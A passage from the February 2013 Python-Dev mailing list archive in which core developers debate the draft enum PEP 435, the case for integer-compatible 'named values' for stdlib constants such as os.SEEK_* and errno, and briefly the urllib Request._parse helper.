	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
Message-ID: <CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>

On Sat, Feb 23, 2013 at 7:57 AM, R. David Murray <rdmurray at bitdance.com>wrote:

> On Sun, 24 Feb 2013 01:31:09 +1000, Nick Coghlan <ncoghlan at gmail.com>
> wrote:
> > On Sun, Feb 24, 2013 at 1:06 AM, Antoine Pitrou <solipsis at pitrou.net>
> wrote:
> > > On Sat, 23 Feb 2013 16:02:31 +0100
> > > Stefan Krah <stefan at bytereef.org> wrote:
> > >> eli.bendersky <python-checkins at python.org> wrote:
> > >> > +Ordered comparisons between enumeration values are *not*
> supported.  Enums are
> > >> > +not integers!
> > >>
> > >> Hmm. I think this limits interoperation with C libraries and
> prototyping
> > >> C code.
> > >
> > > Agreed, this is a deal-breaker IMO. I'd actually argue that enums are
> > > not terribly useful apart from interacting with C constants.
> >
> > I've argued in the past that we should have a "Named Value" mechanism
> > *before* we have a proposal to group named constants in some fashion
> > (such as sequential enums, or binary flag groups). It never gained
> > much traction, even though it could be more useful in many cases
> > (think things like being able to tag a file descriptor with the repr
> > of the object it belongs to)
> >
> > After seeing this checkin, I also suggested to Eli and Barry that any
> > new PEP on this topic should come with a survey of *existing*
> > pseudo-enums in the standard library, and an explanation of how the
> > proposal can be used to make those either easier to debug when they
> > show up in error messages or otherwise make it easier to detect when
> > you've made a mistake while working with them.
>
> See also http://bugs.python.org/issue16801#msg178542 for another use
> case for named values.
>
> I've seen an awful lot of code that uses global variables or class
> attributes primarily to get name validation on constant values, and I
> think all of that code would be a prime candidate for using Named Values.
> Some of them are also enum-like, but many of them are not.  So I'm with
> Nick on this one.
>

Any suggestions for places in the stdlib where enums could come useful will
be most welcome

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130223/af894f4d/attachment.html>

From barry at python.org  Sat Feb 23 17:34:54 2013
From: barry at python.org (Barry Warsaw)
Date: Sat, 23 Feb 2013 11:34:54 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130223150231.GA20921@sleipnir.bytereef.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
Message-ID: <20130223113454.434c807e@anarchist.wooz.org>

On Feb 23, 2013, at 04:02 PM, Stefan Krah wrote:

>Hmm. I think this limits interoperation with C libraries and prototyping
>C code.

As for flufl.enums, it doesn't really, because while items are not ints they
are interoperable with ints.

>>> from flufl.enum import make
>>> Colors = make('Colors', 'red green blue'.split())
>>> int(Colors.green)
2
>>> 7 + int(Colors.green)
9

Cheers,
-Barry

From ethan at stoneleaf.us  Sat Feb 23 17:41:18 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Sat, 23 Feb 2013 08:41:18 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130223150231.GA20921@sleipnir.bytereef.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
Message-ID: <5128F12E.6040604@stoneleaf.us>

> eli.bendersky <python-checkins at python.org> wrote:
>> +Ordered comparisons between enumeration values are *not* supported.  Enums are
>> +not integers!

class WeekDays(Enum):
     SUNDAY      = enum(doc='last day of the weekend')
     MONDAY      = enum(doc='back to work!')
     TUESDAY     = enum(doc='ho hum day')
     WEDNESDAY   = enum(doc='rounding the bend!')
     THURSDAY    = enum(doc='almost Friday!')
     FRIDAY      = enum(doc='last day!')
     SATURDAY    = enum(doc='sleeping in...')

So you're saying that MONDAY should not come before TUESDAY??

--
~Ethan~

From ncoghlan at gmail.com  Sat Feb 23 17:51:58 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 24 Feb 2013 02:51:58 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
Message-ID: <CADiSq7chXS6cC1OfmKLB6T7SZjxV0-3YdPWFWe4FXqWohmC2yQ@mail.gmail.com>

On Sun, Feb 24, 2013 at 2:27 AM, Eli Bendersky <eliben at gmail.com> wrote:
> Any suggestions for places in the stdlib where enums could come useful will
> be most welcome

For named values in general:

- 0, 1, 2 as file descriptors (stdin/stdout/stderr)
- 0, 1, 2 as relative seek locations (start, current, end, but I
forget the exact mapping)
- results of inspect.getgeneratorstate()  (currently strings)
- decimal rounding modes (currently strings)
- opcodes
- as a building block to simplify other parts of the dis module
- HTML error codes

I expect there would be many more possibilities if you dove into
particular file formats and protocols.

The reason I like named values as a starting point is that they can
act primarily as the original type, while still being a useful
building block for an enum type added later, as well as for any custom
enum types created when people don't want quite the same structural
behaviour at the higher level.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From rdmurray at bitdance.com  Sat Feb 23 17:55:52 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sat, 23 Feb 2013 11:55:52 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
Message-ID: <20130223165557.956A8250BD5@webabinitio.net>

On Sat, 23 Feb 2013 08:27:50 -0800, Eli Bendersky <eliben at gmail.com> wrote:
> On Sat, Feb 23, 2013 at 7:57 AM, R. David Murray <rdmurray at bitdance.com>wrote:
> 
> > On Sun, 24 Feb 2013 01:31:09 +1000, Nick Coghlan <ncoghlan at gmail.com>
> > wrote:
> > > On Sun, Feb 24, 2013 at 1:06 AM, Antoine Pitrou <solipsis at pitrou.net>
> > wrote:
> > > > On Sat, 23 Feb 2013 16:02:31 +0100
> > > > Stefan Krah <stefan at bytereef.org> wrote:
> > > >> eli.bendersky <python-checkins at python.org> wrote:
> > > >> > +Ordered comparisons between enumeration values are *not*
> > supported.  Enums are
> > > >> > +not integers!
> > > >>
> > > >> Hmm. I think this limits interoperation with C libraries and
> > prototyping
> > > >> C code.
> > > >
> > > > Agreed, this is a deal-breaker IMO. I'd actually argue that enums are
> > > > not terribly useful apart from interacting with C constants.
> > >
> > > I've argued in the past that we should have a "Named Value" mechanism
> > > *before* we have a proposal to group named constants in some fashion
> > > (such as sequential enums, or binary flag groups). It never gained
> > > much traction, even though it could be more useful in many cases
> > > (think things like being able to tag a file descriptor with the repr
> > > of the object it belongs to)
> > >
> > > After seeing this checkin, I also suggested to Eli and Barry that any
> > > new PEP on this topic should come with a survey of *existing*
> > > pseudo-enums in the standard library, and an explanation of how the
> > > proposal can be used to make those either easier to debug when they
> > > show up in error messages or otherwise make it easier to detect when
> > > you've made a mistake while working with them.
> >
> > See also http://bugs.python.org/issue16801#msg178542 for another use
> > case for named values.
> >
> > I've seen an awful lot of code that uses global variables or class
> > attributes primarily to get name validation on constant values, and I
> > think all of that code would be a prime candidate for using Named Values.
> > Some of them are also enum-like, but many of them are not.  So I'm with
> > Nick on this one.
> >
> 
> Any suggestions for places in the stdlib where enums could come useful will
> be most welcome

Heh.  I wasn't actually speaking about the stdlib in the second
paragraph :)

But, if we had a Named Value facility I would use it in the email library
for header error sub-codes (something I haven't actually introduced yet).

But, speaking of error codes, it would be really nice if the posix error
numbers had a repr that included the name.

--David

From solipsis at pitrou.net  Sat Feb 23 18:04:52 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 23 Feb 2013 18:04:52 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
Message-ID: <20130223180452.4f8cd42a@pitrou.net>

On Sat, 23 Feb 2013 08:27:50 -0800
Eli Bendersky <eliben at gmail.com> wrote:
> > See also http://bugs.python.org/issue16801#msg178542 for another use
> > case for named values.
> >
> > I've seen an awful lot of code that uses global variables or class
> > attributes primarily to get name validation on constant values, and I
> > think all of that code would be a prime candidate for using Named Values.
> > Some of them are also enum-like, but many of them are not.  So I'm with
> > Nick on this one.
> 
> Any suggestions for places in the stdlib where enums could come useful will
> be most welcome

The constants in the os module (os.SEEK_SET, etc.).
The constants in the socket module (socket.AF_INET, etc.).
And so on :-)

Regards

Antoine.



From eliben at gmail.com  Sat Feb 23 18:15:54 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Sat, 23 Feb 2013 09:15:54 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130223180452.4f8cd42a@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
Message-ID: <CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>

On Sat, Feb 23, 2013 at 9:04 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> On Sat, 23 Feb 2013 08:27:50 -0800
> Eli Bendersky <eliben at gmail.com> wrote:
> > > See also http://bugs.python.org/issue16801#msg178542 for another use
> > > case for named values.
> > >
> > > I've seen an awful lot of code that uses global variables or class
> > > attributes primarily to get name validation on constant values, and I
> > > think all of that code would be a prime candidate for using Named
> Values.
> > > Some of them are also enum-like, but many of them are not.  So I'm with
> > > Nick on this one.
> >
> > Any suggestions for places in the stdlib where enums could come useful
> will
> > be most welcome
>
> The constants in the os module (os.SEEK_SET, etc.).
> The constants in the socket module (socket.AF_INET, etc.).
> And so on :-)
>

 Hmm, constants such as os.SEEK_* which serve as *inputs* to stdlib rather
than outputs can actually be a good candidate for enum without worrying
about backwards compatibility.

The reason I make the *input* vs. *output* distinction, is that for stdlib
code that returns values, the user may rely on their numeric values and if
we switch to enum code will break. However, for os.SEEK_* this is not the
case. Thee can be aliases for enums:

class SeekKind(Enum):
  SEEK_SET = 0
  SEEK_CUR = 1
  SEEK_END = 2

SEEK_SET = SeekKind.SEEK_SET
...

lseek() can be changed to call 'int' on its input, and now os.SEEK_* gain
useful string representations when printed.

Thoughts?

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130223/7ea09a62/attachment.html>

From ethan at stoneleaf.us  Sat Feb 23 18:08:18 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Sat, 23 Feb 2013 09:08:18 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
Message-ID: <5128F782.50407@stoneleaf.us>

On 02/23/2013 08:27 AM, Eli Bendersky wrote:
> Any suggestions for places in the stdlib where enums could come useful will be most welcome

codecs.EncodedFile:
     errors = 'strict' | 'ignore' | 'xmlcharrefreplace' | 'replace'

socket:
     AF_INET, AF_UNIX -- socket domains (first argument to socket() call)
     SOCK_STREAM, SOCK_DGRAM, SOCK_RAW -- socket types (second argument)

httplib:
     client - many
     cookiejar - many

turtle

tkinter

logging

warning

From ncoghlan at gmail.com  Sat Feb 23 18:46:39 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 24 Feb 2013 03:46:39 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
Message-ID: <CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>

On Sun, Feb 24, 2013 at 3:15 AM, Eli Bendersky <eliben at gmail.com> wrote:
>  Hmm, constants such as os.SEEK_* which serve as *inputs* to stdlib rather
> than outputs can actually be a good candidate for enum without worrying
> about backwards compatibility.

Not true - users may be taking those values and passing them to third
party APIs that expect them to be integers (since they're explicitly
documented as such).

However, pitching this at the enum level also introduces a mandatory
level of structure we may not care about. All of the arguments about
enums and what they should and shouldn't allow happen at the higher
level, to do with the relations between a *group* of named values, and
how the members of the group interact with other data types.

For the standard library, we *really don't care* about any of those
things, because we're currently using integers and strings for
everything, so we can't add structure without risking breaking other
people's code. However, just as we can get away with switching from
producing and consuming tuples to producing and consuming namedtuples
without breaking backwards compatibility, we *could* get away with
producing and consuming names values in many cases, so long as those
values behaved exactly like they did previously (i.e. as integers -
there's little benefit to replacing our string "enums", since they're
generally chosen for ease of debugging).

We *can't* replace errno values, or the os module seek constants, etc
with something that doesn't transparently behave like an integer,
because people may currently be using comparisons against their
integer counterparts, or passing them to non-stdlib APIs which expect
the numeric value. But we could probably get away with changing their
__repr__ (as well as switching them to subclasses of int rather than
ordinary int objects).

Many other existing libraries would be in the same boat - backwards
compatibility would be an insurmountable barrier to using enums, but
they *could* use named values.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From rdmurray at bitdance.com  Sat Feb 23 18:53:19 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Sat, 23 Feb 2013 12:53:19 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
Message-ID: <20130223175324.67637250BD4@webabinitio.net>

On Sat, 23 Feb 2013 09:15:54 -0800, Eli Bendersky <eliben at gmail.com> wrote:
> On Sat, Feb 23, 2013 at 9:04 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> 
> > On Sat, 23 Feb 2013 08:27:50 -0800
> > Eli Bendersky <eliben at gmail.com> wrote:
> > > > See also http://bugs.python.org/issue16801#msg178542 for another use
> > > > case for named values.
> > > >
> > > > I've seen an awful lot of code that uses global variables or class
> > > > attributes primarily to get name validation on constant values, and I
> > > > think all of that code would be a prime candidate for using Named
> > Values.
> > > > Some of them are also enum-like, but many of them are not.  So I'm with
> > > > Nick on this one.
> > >
> > > Any suggestions for places in the stdlib where enums could come useful
> > will
> > > be most welcome
> >
> > The constants in the os module (os.SEEK_SET, etc.).
> > The constants in the socket module (socket.AF_INET, etc.).
> > And so on :-)
> >
> 
>  Hmm, constants such as os.SEEK_* which serve as *inputs* to stdlib rather
> than outputs can actually be a good candidate for enum without worrying
> about backwards compatibility.
> 
> The reason I make the *input* vs. *output* distinction, is that for stdlib
> code that returns values, the user may rely on their numeric values and if
> we switch to enum code will break. However, for os.SEEK_* this is not the
> case. Thee can be aliases for enums:
> 
> class SeekKind(Enum):
>   SEEK_SET = 0
>   SEEK_CUR = 1
>   SEEK_END = 2
> 
> SEEK_SET = SeekKind.SEEK_SET
> ...
> 
> lseek() can be changed to call 'int' on its input, and now os.SEEK_* gain
> useful string representations when printed.

Eh, what?  Why does int have to be called?  (Hrm, I guess I'd better
read the PEP before making any more comments :)

I'm preferring Named Values more and more.  And I'm just as interested
in the returned values case as I am in the input case (as the errno
example indicates).

--David

From ethan at stoneleaf.us  Sat Feb 23 19:07:12 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Sat, 23 Feb 2013 10:07:12 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
	<CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
Message-ID: <51290550.8020602@stoneleaf.us>

On 02/23/2013 09:46 AM, Nick Coghlan wrote:
> Many other existing libraries would be in the same boat - backwards
> compatibility would be an insurmountable barrier to using enums, but
> they *could* use named values.

I like the idea of named values, but to be clear about enums:  if they are int-based (like
True and False are) and don't mess with the math operations (like True and False don't) then
we could use them with impunity:

   True + False = 1
   os.SEEK_CUR * 3 = 3 (assuming, of course, that os.SEEK_CUR == 1)

--
~Ethan~

P.S.  Has the irrevokable decision been made that enums will *not* be int based?  If so, I'll
stop bringing up this point -- I'm starting to bore myself with it.

From ethan at stoneleaf.us  Sat Feb 23 18:51:53 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Sat, 23 Feb 2013 09:51:53 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
Message-ID: <512901B9.7070802@stoneleaf.us>

On 02/23/2013 09:15 AM, Eli Bendersky wrote:
>   Hmm, constants such as os.SEEK_* which serve as *inputs* to stdlib rather than outputs can actually be a good
> candidate for enum without worrying about backwards compatibility.
>
> The reason I make the *input* vs. *output* distinction, is that for stdlib code that returns values, the user may rely
> on their numeric values and if we switch to enum code will break. However, for os.SEEK_* this is not the case. Thee can
> be aliases for enums:
>
> class SeekKind(Enum):
>    SEEK_SET = 0
>    SEEK_CUR = 1
>    SEEK_END = 2
>
> SEEK_SET = SeekKind.SEEK_SET
> ...
>
> lseek() can be changed to call 'int' on its input, and now os.SEEK_* gain useful string representations when printed.
>
> Thoughts?

If that particular enum is int based, you don't have to

     a) make the distinction between input/output

     b) call 'int' on its input

and you /still/ get the useful string repr.  ;)

--
~Ethan~

From ericsnowcurrently at gmail.com  Sat Feb 23 20:35:11 2013
From: ericsnowcurrently at gmail.com (Eric Snow)
Date: Sat, 23 Feb 2013 12:35:11 -0700
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
	<CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
Message-ID: <CALFfu7A20ZY0bWDjOXiLv00cd8qhTDhWhJExyxheqV68CjwSbA@mail.gmail.com>

On Sat, Feb 23, 2013 at 10:46 AM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> However, pitching this at the enum level also introduces a mandatory
> level of structure we may not care about. All of the arguments about
> enums and what they should and shouldn't allow happen at the higher
> level, to do with the relations between a *group* of named values, and
> how the members of the group interact with other data types.
>
> For the standard library, we *really don't care* about any of those
> things, because we're currently using integers and strings for
> everything, so we can't add structure without risking breaking other
> people's code. However, just as we can get away with switching from
> producing and consuming tuples to producing and consuming namedtuples
> without breaking backwards compatibility, we *could* get away with
> producing and consuming names values in many cases, so long as those
> values behaved exactly like they did previously (i.e. as integers -
> there's little benefit to replacing our string "enums", since they're
> generally chosen for ease of debugging).

+1

FWIW, I'm a fan of starting with a basic NamedValue API that avoids
the structure decisions.  The grouping question is valuable but a
GroupedConstant can build on a NamedValue.

-eric

From demianbrecht at gmail.com  Sat Feb 23 20:36:22 2013
From: demianbrecht at gmail.com (Demian Brecht)
Date: Sat, 23 Feb 2013 11:36:22 -0800
Subject: [Python-Dev] request._parse
Message-ID: <CAE+T62Yind5bb7O06BMCSJSJ5+safKDe_K6a4RFjUqsjMvwOWg@mail.gmail.com>

Hope this question belongs here and not in python-ideas, but I'm
curious about _parse in the Request object. Specifically, why it was
decided to write a custom parse function when the likes or urlparse or
urlsplit do essentially the same thing. Doesn't really seem DRY to
me.. I was going to change this to use one of the aforementioned
functions and submit a patch, but wanted to see if there was any
rational behind this that I wasn't seeing.

Yes, it's a very minor issue. Call me a stickler for things like this :)

-- 
Demian Brecht
http://demianbrecht.github.com

From tjreedy at udel.edu  Sat Feb 23 22:50:16 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 23 Feb 2013 16:50:16 -0500
Subject: [Python-Dev] request._parse
In-Reply-To: <CAE+T62Yind5bb7O06BMCSJSJ5+safKDe_K6a4RFjUqsjMvwOWg@mail.gmail.com>
References: <CAE+T62Yind5bb7O06BMCSJSJ5+safKDe_K6a4RFjUqsjMvwOWg@mail.gmail.com>
Message-ID: <kgbdja$9n$1@ger.gmane.org>

On 2/23/2013 2:36 PM, Demian Brecht wrote:
> Hope this question belongs here and not in python-ideas, but I'm
> curious about _parse in the Request object. Specifically, why it was
> decided to write a custom parse function when the likes or urlparse or
> urlsplit do essentially the same thing.

urllib.parse contains urlparse, urlsplit, splittype, splithost, and 
other utility functions. urllib.request imports many, including those 
four. Request._parse sequentially uses splittype and splithost, raising 
if splittype fails. So it seems to me that it does both less and more 
that the more general functions. Since urlparse is used four other 
places in the module and urlsplit once, I would start with the 
assumption that either would have been here if it were the best and easiest.

 > Doesn't really seem DRY to me.

Nearly all the work in _parse is done by splittype, splithost, and 
unquote, which *is* DRY as far as this function is concerned. The rest 
of the code is assignment, two ifs, and a raise.

If you want to be helpful, leave _parse along and find a real bug to 
work on ;-). There are several urllib bug issues. Or check out the code 
coverage of some test module (see devguide), and see if more tests are 
needed.

-- 
Terry Jan Reedy


From demianbrecht at gmail.com  Sat Feb 23 22:58:20 2013
From: demianbrecht at gmail.com (Demian Brecht)
Date: Sat, 23 Feb 2013 13:58:20 -0800
Subject: [Python-Dev] Fwd:  request._parse
In-Reply-To: <CAE+T62bseKEYX=yn09jJt6th5Aq3B7R-n1awhVS2zJ9iePzreQ@mail.gmail.com>
References: <CAE+T62Yind5bb7O06BMCSJSJ5+safKDe_K6a4RFjUqsjMvwOWg@mail.gmail.com>
	<kgbdja$9n$1@ger.gmane.org>
	<CAE+T62bseKEYX=yn09jJt6th5Aq3B7R-n1awhVS2zJ9iePzreQ@mail.gmail.com>
Message-ID: <CAE+T62ZSeZhDDo5LKu=VyUbmngeB26m1Qf-U3JcFFzTeugMFPw@mail.gmail.com>

Sounds good to me, thanks for the feedback.. Yes, I guess tackling
known issues is a much better use of time than trying to dig my own up
;)

> If you want to be helpful, leave _parse along and find a real bug to work on
> ;-). There are several urllib bug issues. Or check out the code coverage of
> some test module (see devguide), and see if more tests are needed.

From tjreedy at udel.edu  Sat Feb 23 23:11:30 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 23 Feb 2013 17:11:30 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
	<CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
Message-ID: <kgber3$a3f$1@ger.gmane.org>

On 2/23/2013 12:46 PM, Nick Coghlan wrote:

> For the standard library, we *really don't care* about any of those
> things, because we're currently using integers and strings for
> everything, so we can't add structure without risking breaking other
> people's code. However, just as we can get away with switching from
> producing and consuming tuples to producing and consuming namedtuples
> without breaking backwards compatibility, we *could* get away with
> producing and consuming names values in many cases, so long as those
> values behaved exactly like they did previously (i.e. as integers -
> there's little benefit to replacing our string "enums", since they're
> generally chosen for ease of debugging).

It seems that what would specifically be useful is a namedint class 
whose instances would be ints with a .__name__ attribute and a custom 
.__str__ and __repr__. (Note that None, False, and True do not have such 
because the name knowledge is elsewhere -- in __str__ I would guess.) In 
all other respects, lets them be ints, just as named<field>tuples are 
otherwise tuples.

As you say, a namedstring is hardly useful as a string can be considered 
